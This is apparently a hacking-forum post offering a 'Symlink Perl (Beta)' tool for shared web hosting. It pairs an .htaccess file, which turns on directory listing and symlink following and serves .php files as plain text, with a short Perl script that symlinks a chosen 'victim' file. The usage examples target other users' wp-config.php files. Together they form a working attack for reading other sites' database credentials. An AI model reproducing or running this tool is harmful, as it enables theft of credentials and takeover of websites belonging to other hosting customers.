Symlink Perl ( Beta )

Before Use This Tools Create A NewDir ... And Create .htaccess Then Upload Perl Symlink Tools
Code .htaccess :
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php

Perl Code:
Usage: perl Filename.pl DIRPATH ektension to save
Example: perl jancok.pl /home/USERNAME/public_html/wp-config.php kuy.txt / perl jancok.pl /var/www/vhosts/ANU.com/httpdocs/wp-config.php kuy.txt

#!/usr/bin/perl -I/usr/local/badmin
$korban = $ARGV[0];

$ektensi = $ARGV[1];

$symlink = symlink($korban,$ektensi);

if($symlink == 1) { print "$ektensi Symlink Created Successfully ... "; }

else { print "Cannot Symlink File or File $ektensi Already Exists ... "; }